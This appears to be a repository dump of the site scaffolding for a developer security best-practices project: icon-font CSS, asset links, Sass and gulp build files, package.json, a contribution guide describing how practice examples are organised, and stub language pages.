27 | @media screen and (-webkit-min-device-pixel-ratio:0) {
28 | @font-face {
29 | font-family: "FontMfizz";
30 | src: url("./font-mfizz.svg#font-mfizz") format("svg");
31 | }
32 | }
33 |
34 | [data-icon]:before { content: attr(data-icon); }
35 |
36 | [data-icon]:before,
37 | .icon-3dprint:before,
38 | .icon-alpinelinux:before,
39 | .icon-angular:before,
40 | .icon-angular-alt:before,
41 | .icon-antenna:before,
42 | .icon-apache:before,
43 | .icon-archlinux:before,
44 | .icon-aws:before,
45 | .icon-azure:before,
46 | .icon-backbone:before,
47 | .icon-blackberry:before,
48 | .icon-bomb:before,
49 | .icon-bootstrap:before,
50 | .icon-c:before,
51 | .icon-cassandra:before,
52 | .icon-centos:before,
53 | .icon-clojure:before,
54 | .icon-codeigniter:before,
55 | .icon-codepen:before,
56 | .icon-coffee-bean:before,
57 | .icon-cplusplus:before,
58 | .icon-csharp:before,
59 | .icon-css:before,
60 | .icon-css3:before,
61 | .icon-css3-alt:before,
62 | .icon-d3:before,
63 | .icon-database:before,
64 | .icon-database-alt:before,
65 | .icon-database-alt2:before,
66 | .icon-debian:before,
67 | .icon-docker:before,
68 | .icon-dreamhost:before,
69 | .icon-elixir:before,
70 | .icon-elm:before,
71 | .icon-erlang:before,
72 | .icon-exherbo:before,
73 | .icon-fedora:before,
74 | .icon-fire-alt:before,
75 | .icon-freebsd:before,
76 | .icon-freecodecamp:before,
77 | .icon-gentoo:before,
78 | .icon-ghost:before,
79 | .icon-git:before,
80 | .icon-gnome:before,
81 | .icon-go:before,
82 | .icon-go-alt:before,
83 | .icon-google:before,
84 | .icon-google-alt:before,
85 | .icon-google-code:before,
86 | .icon-google-developers:before,
87 | .icon-gradle:before,
88 | .icon-grails:before,
89 | .icon-grails-alt:before,
90 | .icon-grunt:before,
91 | .icon-gulp:before,
92 | .icon-gulp-alt:before,
93 | .icon-hadoop:before,
94 | .icon-haskell:before,
95 | .icon-heroku:before,
96 | .icon-html:before,
97 | .icon-html5:before,
98 | .icon-html5-alt:before,
99 | .icon-iphone:before,
100 | .icon-java:before,
101 | .icon-java-bold:before,
102 | .icon-java-duke:before,
103 | .icon-javascript:before,
104 | .icon-javascript-alt:before,
105 | .icon-jetty:before,
106 | .icon-jquery:before,
107 | .icon-kde:before,
108 | .icon-laravel:before,
109 | .icon-line-graph:before,
110 | .icon-linux-mint:before,
111 | .icon-looking:before,
112 | .icon-magento:before,
113 | .icon-mariadb:before,
114 | .icon-maven:before,
115 | .icon-microscope:before,
116 | .icon-mobile-device:before,
117 | .icon-mobile-phone-alt:before,
118 | .icon-mobile-phone-broadcast:before,
119 | .icon-mongodb:before,
120 | .icon-mssql:before,
121 | .icon-mysql:before,
122 | .icon-mysql-alt:before,
123 | .icon-netbsd:before,
124 | .icon-nginx:before,
125 | .icon-nginx-alt:before,
126 | .icon-nginx-alt2:before,
127 | .icon-nodejs:before,
128 | .icon-npm:before,
129 | .icon-objc:before,
130 | .icon-openshift:before,
131 | .icon-oracle:before,
132 | .icon-oracle-alt:before,
133 | .icon-osx:before,
134 | .icon-perl:before,
135 | .icon-phone-alt:before,
136 | .icon-phone-gap:before,
137 | .icon-phone-retro:before,
138 | .icon-php:before,
139 | .icon-php-alt:before,
140 | .icon-playframework:before,
141 | .icon-playframework-alt:before,
142 | .icon-plone:before,
143 | .icon-postgres:before,
144 | .icon-postgres-alt:before,
145 | .icon-python:before,
146 | .icon-raspberrypi:before,
147 | .icon-reactjs:before,
148 | .icon-redhat:before,
149 | .icon-redis:before,
150 | .icon-ruby:before,
151 | .icon-ruby-on-rails:before,
152 | .icon-ruby-on-rails-alt:before,
153 | .icon-rust:before,
154 | .icon-sass:before,
155 | .icon-satellite:before,
156 | .icon-scala:before,
157 | .icon-scala-alt:before,
158 | .icon-script:before,
159 | .icon-script-alt:before,
160 | .icon-shell:before,
161 | .icon-sitefinity:before,
162 | .icon-solaris:before,
163 | .icon-splatter:before,
164 | .icon-spring:before,
165 | .icon-suse:before,
166 | .icon-svg:before,
167 | .icon-symfony:before,
168 | .icon-tomcat:before,
169 | .icon-ubuntu:before,
170 | .icon-unity:before,
171 | .icon-wireless:before,
172 | .icon-wordpress:before,
173 | .icon-x11:before {
174 | display: inline-block;
175 | font-family: "FontMfizz";
176 | font-style: normal;
177 | font-weight: normal;
178 | font-variant: normal;
179 | line-height: 1;
180 | text-decoration: inherit;
181 | text-rendering: optimizeLegibility;
182 | text-transform: none;
183 | -moz-osx-font-smoothing: grayscale;
184 | -webkit-font-smoothing: antialiased;
185 | font-smoothing: antialiased;
186 | }
187 |
188 | .icon-3dprint:before { content: "\f100"; }
189 | .icon-alpinelinux:before { content: "\f101"; }
190 | .icon-angular:before { content: "\f102"; }
191 | .icon-angular-alt:before { content: "\f103"; }
192 | .icon-antenna:before { content: "\f104"; }
193 | .icon-apache:before { content: "\f105"; }
194 | .icon-archlinux:before { content: "\f106"; }
195 | .icon-aws:before { content: "\f107"; }
196 | .icon-azure:before { content: "\f108"; }
197 | .icon-backbone:before { content: "\f109"; }
198 | .icon-blackberry:before { content: "\f10a"; }
199 | .icon-bomb:before { content: "\f10b"; }
200 | .icon-bootstrap:before { content: "\f10c"; }
201 | .icon-c:before { content: "\f10d"; }
202 | .icon-cassandra:before { content: "\f10e"; }
203 | .icon-centos:before { content: "\f10f"; }
204 | .icon-clojure:before { content: "\f110"; }
205 | .icon-codeigniter:before { content: "\f111"; }
206 | .icon-codepen:before { content: "\f112"; }
207 | .icon-coffee-bean:before { content: "\f113"; }
208 | .icon-cplusplus:before { content: "\f114"; }
209 | .icon-csharp:before { content: "\f115"; }
210 | .icon-css:before { content: "\f116"; }
211 | .icon-css3:before { content: "\f117"; }
212 | .icon-css3-alt:before { content: "\f118"; }
213 | .icon-d3:before { content: "\f119"; }
214 | .icon-database:before { content: "\f11a"; }
215 | .icon-database-alt:before { content: "\f11b"; }
216 | .icon-database-alt2:before { content: "\f11c"; }
217 | .icon-debian:before { content: "\f11d"; }
218 | .icon-docker:before { content: "\f11e"; }
219 | .icon-dreamhost:before { content: "\f11f"; }
220 | .icon-elixir:before { content: "\f120"; }
221 | .icon-elm:before { content: "\f121"; }
222 | .icon-erlang:before { content: "\f122"; }
223 | .icon-exherbo:before { content: "\f123"; }
224 | .icon-fedora:before { content: "\f124"; }
225 | .icon-fire-alt:before { content: "\f125"; }
226 | .icon-freebsd:before { content: "\f126"; }
227 | .icon-freecodecamp:before { content: "\f127"; }
228 | .icon-gentoo:before { content: "\f128"; }
229 | .icon-ghost:before { content: "\f129"; }
230 | .icon-git:before { content: "\f12a"; }
231 | .icon-gnome:before { content: "\f12b"; }
232 | .icon-go:before { content: "\f12c"; }
233 | .icon-go-alt:before { content: "\f12d"; }
234 | .icon-google:before { content: "\f12e"; }
235 | .icon-google-alt:before { content: "\f12f"; }
236 | .icon-google-code:before { content: "\f130"; }
237 | .icon-google-developers:before { content: "\f131"; }
238 | .icon-gradle:before { content: "\f132"; }
239 | .icon-grails:before { content: "\f133"; }
240 | .icon-grails-alt:before { content: "\f134"; }
241 | .icon-grunt:before { content: "\f135"; }
242 | .icon-gulp:before { content: "\f136"; }
243 | .icon-gulp-alt:before { content: "\f137"; }
244 | .icon-hadoop:before { content: "\f138"; }
245 | .icon-haskell:before { content: "\f139"; }
246 | .icon-heroku:before { content: "\f13a"; }
247 | .icon-html:before { content: "\f13b"; }
248 | .icon-html5:before { content: "\f13c"; }
249 | .icon-html5-alt:before { content: "\f13d"; }
250 | .icon-iphone:before { content: "\f13e"; }
251 | .icon-java:before { content: "\f13f"; }
252 | .icon-java-bold:before { content: "\f140"; }
253 | .icon-java-duke:before { content: "\f141"; }
254 | .icon-javascript:before { content: "\f142"; }
255 | .icon-javascript-alt:before { content: "\f143"; }
256 | .icon-jetty:before { content: "\f144"; }
257 | .icon-jquery:before { content: "\f145"; }
258 | .icon-kde:before { content: "\f146"; }
259 | .icon-laravel:before { content: "\f147"; }
260 | .icon-line-graph:before { content: "\f148"; }
261 | .icon-linux-mint:before { content: "\f149"; }
262 | .icon-looking:before { content: "\f14a"; }
263 | .icon-magento:before { content: "\f14b"; }
264 | .icon-mariadb:before { content: "\f14c"; }
265 | .icon-maven:before { content: "\f14d"; }
266 | .icon-microscope:before { content: "\f14e"; }
267 | .icon-mobile-device:before { content: "\f14f"; }
268 | .icon-mobile-phone-alt:before { content: "\f150"; }
269 | .icon-mobile-phone-broadcast:before { content: "\f151"; }
270 | .icon-mongodb:before { content: "\f152"; }
271 | .icon-mssql:before { content: "\f153"; }
272 | .icon-mysql:before { content: "\f154"; }
273 | .icon-mysql-alt:before { content: "\f155"; }
274 | .icon-netbsd:before { content: "\f156"; }
275 | .icon-nginx:before { content: "\f157"; }
276 | .icon-nginx-alt:before { content: "\f158"; }
277 | .icon-nginx-alt2:before { content: "\f159"; }
278 | .icon-nodejs:before { content: "\f15a"; }
279 | .icon-npm:before { content: "\f15b"; }
280 | .icon-objc:before { content: "\f15c"; }
281 | .icon-openshift:before { content: "\f15d"; }
282 | .icon-oracle:before { content: "\f15e"; }
283 | .icon-oracle-alt:before { content: "\f15f"; }
284 | .icon-osx:before { content: "\f160"; }
285 | .icon-perl:before { content: "\f161"; }
286 | .icon-phone-alt:before { content: "\f162"; }
287 | .icon-phone-gap:before { content: "\f163"; }
288 | .icon-phone-retro:before { content: "\f164"; }
289 | .icon-php:before { content: "\f165"; }
290 | .icon-php-alt:before { content: "\f166"; }
291 | .icon-playframework:before { content: "\f167"; }
292 | .icon-playframework-alt:before { content: "\f168"; }
293 | .icon-plone:before { content: "\f169"; }
294 | .icon-postgres:before { content: "\f16a"; }
295 | .icon-postgres-alt:before { content: "\f16b"; }
296 | .icon-python:before { content: "\f16c"; }
297 | .icon-raspberrypi:before { content: "\f16d"; }
298 | .icon-reactjs:before { content: "\f16e"; }
299 | .icon-redhat:before { content: "\f16f"; }
300 | .icon-redis:before { content: "\f170"; }
301 | .icon-ruby:before { content: "\f171"; }
302 | .icon-ruby-on-rails:before { content: "\f172"; }
303 | .icon-ruby-on-rails-alt:before { content: "\f173"; }
304 | .icon-rust:before { content: "\f174"; }
305 | .icon-sass:before { content: "\f175"; }
306 | .icon-satellite:before { content: "\f176"; }
307 | .icon-scala:before { content: "\f177"; }
308 | .icon-scala-alt:before { content: "\f178"; }
309 | .icon-script:before { content: "\f179"; }
310 | .icon-script-alt:before { content: "\f17a"; }
311 | .icon-shell:before { content: "\f17b"; }
312 | .icon-sitefinity:before { content: "\f17c"; }
313 | .icon-solaris:before { content: "\f17d"; }
314 | .icon-splatter:before { content: "\f17e"; }
315 | .icon-spring:before { content: "\f17f"; }
316 | .icon-suse:before { content: "\f180"; }
317 | .icon-svg:before { content: "\f181"; }
318 | .icon-symfony:before { content: "\f182"; }
319 | .icon-tomcat:before { content: "\f183"; }
320 | .icon-ubuntu:before { content: "\f184"; }
321 | .icon-unity:before { content: "\f185"; }
322 | .icon-wireless:before { content: "\f186"; }
323 | .icon-wordpress:before { content: "\f187"; }
324 | .icon-x11:before { content: "\f188"; }
325 |
--------------------------------------------------------------------------------
/assets/font-mfizz.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/font-mfizz.eot
--------------------------------------------------------------------------------
/assets/font-mfizz.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/font-mfizz.ttf
--------------------------------------------------------------------------------
/assets/font-mfizz.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/font-mfizz.woff
--------------------------------------------------------------------------------
/assets/fonts/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/.DS_Store
--------------------------------------------------------------------------------
/assets/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/FontAwesome.otf
--------------------------------------------------------------------------------
/assets/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.eot
--------------------------------------------------------------------------------
/assets/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/assets/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/assets/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-114x114.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-114x114.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-120x120.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-120x120.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-144x144.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-144x144.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-152x152.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-152x152.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-57x57.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-57x57.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-60x60.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-60x60.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-72x72.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-72x72.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon-76x76.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon-76x76.png
--------------------------------------------------------------------------------
/assets/img/icons/apple-touch-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/apple-touch-icon.png
--------------------------------------------------------------------------------
/assets/img/icons/favicon-16x16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/favicon-16x16.png
--------------------------------------------------------------------------------
/assets/img/icons/favicon-32x32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/favicon-32x32.png
--------------------------------------------------------------------------------
/assets/img/icons/favicon-64x64.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/favicon-64x64.png
--------------------------------------------------------------------------------
/assets/img/icons/largetile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/largetile.png
--------------------------------------------------------------------------------
/assets/img/icons/mediumtile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/mediumtile.png
--------------------------------------------------------------------------------
/assets/img/icons/smalltile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/smalltile.png
--------------------------------------------------------------------------------
/assets/img/icons/widetile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/icons/widetile.png
--------------------------------------------------------------------------------
/assets/img/logo-cc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-cc.png
--------------------------------------------------------------------------------
/assets/img/logo-cc.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/assets/img/logo-cc@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-cc@2x.png
--------------------------------------------------------------------------------
/assets/img/logo-cc@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-cc@3x.png
--------------------------------------------------------------------------------
/assets/img/logo-codoms.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-codoms.png
--------------------------------------------------------------------------------
/assets/img/logo-codoms.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/assets/img/logo-codoms@2x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-codoms@2x.png
--------------------------------------------------------------------------------
/assets/img/logo-codoms@3x.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/logo-codoms@3x.png
--------------------------------------------------------------------------------
/assets/img/sharding-gerenciamento-usuarios/ajudando-carregar.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/ajudando-carregar.jpg
--------------------------------------------------------------------------------
/assets/img/sharding-gerenciamento-usuarios/carrega-sozinho.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/carrega-sozinho.jpg
--------------------------------------------------------------------------------
/assets/img/sharding-gerenciamento-usuarios/daca-animada.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/daca-animada.gif
--------------------------------------------------------------------------------
/assets/img/sharding-gerenciamento-usuarios/happy-scooby.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/happy-scooby.gif
--------------------------------------------------------------------------------
/assets/img/sharding-gerenciamento-usuarios/servers.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sqreen/DevelopersSecurityBestPractices/a3777fb25b7908114f40b2db0b5d6fcac058f525/assets/img/sharding-gerenciamento-usuarios/servers.gif
--------------------------------------------------------------------------------
/assets/main.scss:
--------------------------------------------------------------------------------
1 | ---
2 | # Only the main Sass file needs front matter (the dashes are enough)
3 | ---
4 | @charset "utf-8";
5 |
6 | // Our variables
7 | $base-font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
8 | $base-font-size: 16px;
9 | $base-font-weight: 400;
10 | $small-font-size: $base-font-size * 0.875;
11 | $base-line-height: 1.5;
12 |
13 | $spacing-unit: 30px;
14 |
15 | $text-color: #111;
16 | $background-color: #fdfdfd;
17 | $brand-color: #2a7ae2;
18 |
19 | $grey-color: #828282;
20 | $grey-color-light: lighten($grey-color, 40%);
21 | $grey-color-dark: darken($grey-color, 25%);
22 |
23 | // Width of the content area
24 | $content-width: 800px;
25 |
26 | $on-palm: 600px;
27 | $on-laptop: 800px;
28 |
29 | // Minima also includes a mixin for defining media queries.
30 | // Use media queries like this:
31 | // @include media-query($on-palm) {
32 | // .wrapper {
33 | // padding-right: $spacing-unit / 2;
34 | // padding-left: $spacing-unit / 2;
35 | // }
36 | // }
37 |
38 | // Import partials from the `minima` theme.
39 | @import "minima";
40 |
--------------------------------------------------------------------------------
/contribute.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Contribute
3 | layout: page
4 | ---
5 |
6 |
7 | It's very easy to contribute to the database of good practices. All contributions are welcome, typo fix on the content, code cleaning in the example, CSS cleaning, adding a new language for a good practice or add a good practice, [there is always something you can contribute to!]({{site.github_url}})
8 |
9 | # File architecture
10 |
11 | The actual content is in the directory `_practices`. Inside you have one directory for each practice. Inside you have a file named `LANGUAGE.md` for each language. You also have a directory named `_LANGUAGE` per language.
12 |
13 | ```
14 | _practices
15 | └── timing-attack
16 | ├── _python
17 | │ ├── app.py
18 | │ ├── app.pyc
19 | │ ├── hack.py
20 | │ ├── requirements.txt
21 | │ ├── test.py
22 | │ └── venv
23 | ├── js.md
24 | └── python.md
25 | ```
26 |
27 | # File format
28 |
29 | The content markdown file respect this format:
30 |
31 | ```markdown
32 | ---
33 | title: Example of practice
34 | language: Example of language
35 | ---
36 |
37 | Content starts here.
38 | ```
39 |
40 | Content is jekyll collection, see [here](https://jekyllrb.com/docs/frontmatter/).
41 |
42 | # How to contribute?
43 |
44 | If you want to add content or fix content, just do a pull-request and we will try to review it and merge it asap.
45 |
46 | # Add a language for an existing practice
47 |
48 | If you want to add a new language for an existing practice, you can start by copying an existing language content for you language. Remember to change the language in the frontmatter block but keeps the same title.
49 |
50 | Also create a directory for this language if you have example of vulnerable code.
51 |
52 | # Add a new existing practice
53 |
54 | If you want to add a new practice, create a directory for this practice in `_libs`. In this new repository, copy the template located in `_libs/_template.md` and name it `LANGUAGE.md`. Then add a directory named `_LANGUAGE` if you have vulnerable code to share.
55 |
--------------------------------------------------------------------------------
/gulpfile.js:
--------------------------------------------------------------------------------
1 | var gulp = require('gulp'),
2 | plumber = require('gulp-plumber'),
3 | stylus = require('gulp-stylus'),
4 | uglify = require('gulp-uglify'),
5 | concat = require('gulp-concat'),
6 | jeet = require('jeet'),
7 | rupture = require('rupture'),
8 | koutoSwiss = require('kouto-swiss'),
9 | prefixer = require('autoprefixer-stylus'),
10 | imagemin = require('gulp-imagemin'),
11 | cp = require('child_process');
12 |
13 | var messages = {
14 | jekyllBuild: 'Running: $ jekyll build'
15 | };
16 |
17 | /**
18 | * Stylus task
19 | */
20 | gulp.task('stylus', function(){
21 | gulp.src('src/styl/main.styl')
22 | .pipe(plumber())
23 | .pipe(stylus({
24 | use:[koutoSwiss(), prefixer(), jeet(),rupture()],
25 | compress: true
26 | }))
27 | .pipe(gulp.dest('_site/assets/css/'))
28 | .pipe(gulp.dest('assets/css'));
29 | });
30 |
31 | /**
32 | * Javascript Task
33 | */
34 | gulp.task('js', function(){
35 | return gulp.src('src/js/**/*.js')
36 | .pipe(plumber())
37 | .pipe(concat('main.js'))
38 | .pipe(uglify())
39 | .pipe(gulp.dest('assets/js/'))
40 | .pipe(gulp.dest('_site/assets/js/'));
41 | });
42 |
43 | /**
44 | * Imagemin Task
45 | */
46 | gulp.task('imagemin', function() {
47 | return gulp.src('src/img/**/*.{jpg,png,gif,svg}')
48 | .pipe(plumber())
49 | .pipe(imagemin({ optimizationLevel: 3, progressive: true, interlaced: true }))
50 | .pipe(gulp.dest('assets/img/'));
51 | });
52 |
53 | /**
54 | * Watch stylus files for changes & recompile
55 | * Watch html/md files, run jekyll & reload BrowserSync
56 | */
57 | gulp.task('watch', function () {
58 | gulp.watch('src/styl/**/*.styl', ['stylus']);
59 | gulp.watch('src/js/**/*.js', ['js']);
60 | gulp.watch('src/img/**/*.{jpg,png,gif,svg}', ['imagemin']);
61 | });
62 |
63 | /**
64 | * Default task, running just `gulp` will compile the stylus,
65 | * compile the jekyll site, launch BrowserSync & watch files.
66 | */
67 | gulp.task('default', ['js', 'stylus', 'imagemin', 'watch']);
68 |
--------------------------------------------------------------------------------
/index.md:
--------------------------------------------------------------------------------
1 | ---
2 | # You don't need to edit this file, it's empty on purpose.
3 | # Edit theme's home layout instead if you wanna make some changes
4 | # See: https://jekyllrb.com/docs/themes/#overriding-theme-defaults
5 | layout: home
6 | ---
7 |
--------------------------------------------------------------------------------
/local.sh:
--------------------------------------------------------------------------------
1 | bundle exec jekyll serve --baseurl ''
2 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "victorigortemplate",
3 | "version": "1.0.0",
4 | "description": "My jekyll blog template.",
5 | "main": "gulpfile.js",
6 | "scripts": {
7 | "test": "test"
8 | },
9 | "keywords": [
10 | "frontend",
11 | "blog",
12 | "css",
13 | "stylus",
14 | "gulp",
15 | "jekyll",
16 | "js"
17 | ],
18 | "author": "Victor Igor",
19 | "license": "ISC",
20 | "devDependencies": {
21 | "autoprefixer-stylus": "^0.4.0",
22 | "browser-sync": "^1.9.0",
23 | "grunt": "^0.4.5",
24 | "gulp": "^3.8.10",
25 | "gulp-concat": "^2.4.3",
26 | "gulp-imagemin": "^2.1.0",
27 | "gulp-plumber": "^0.6.6",
28 | "gulp-stylus": "^1.3.7",
29 | "gulp-uglify": "^1.0.2"
30 | },
31 | "dependencies": {
32 | "jeet": "^6.1.4",
33 | "kouto-swiss": "^0.11.14",
34 | "rupture": "^0.6.1"
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/pages/c.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /c
4 | language: c
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/clojure.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /clojure
4 | language: clojure
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/cplusplus.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /cplusplus
4 | language: cplusplus
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/csharp.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /csharp
4 | language: csharp
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/erlang.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /erlang
4 | language: erlang
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/go.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /go
4 | language: go
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/haskell.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /haskell
4 | language: haskell
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/java.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /java
4 | language: java
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/nodejs.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /nodejs
4 | language: nodejs
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/objc.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /objc
4 | language: objc
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/perl.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /perl
4 | language: perl
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/php.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /php
4 | language: php
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/python.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /python
4 | language: python
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/ruby.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /ruby
4 | language: ruby
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/rust.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /rust
4 | language: rust
5 | ---
6 |
--------------------------------------------------------------------------------
/pages/scala.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | permalink: /scala
4 | language: scala
5 | ---
6 |
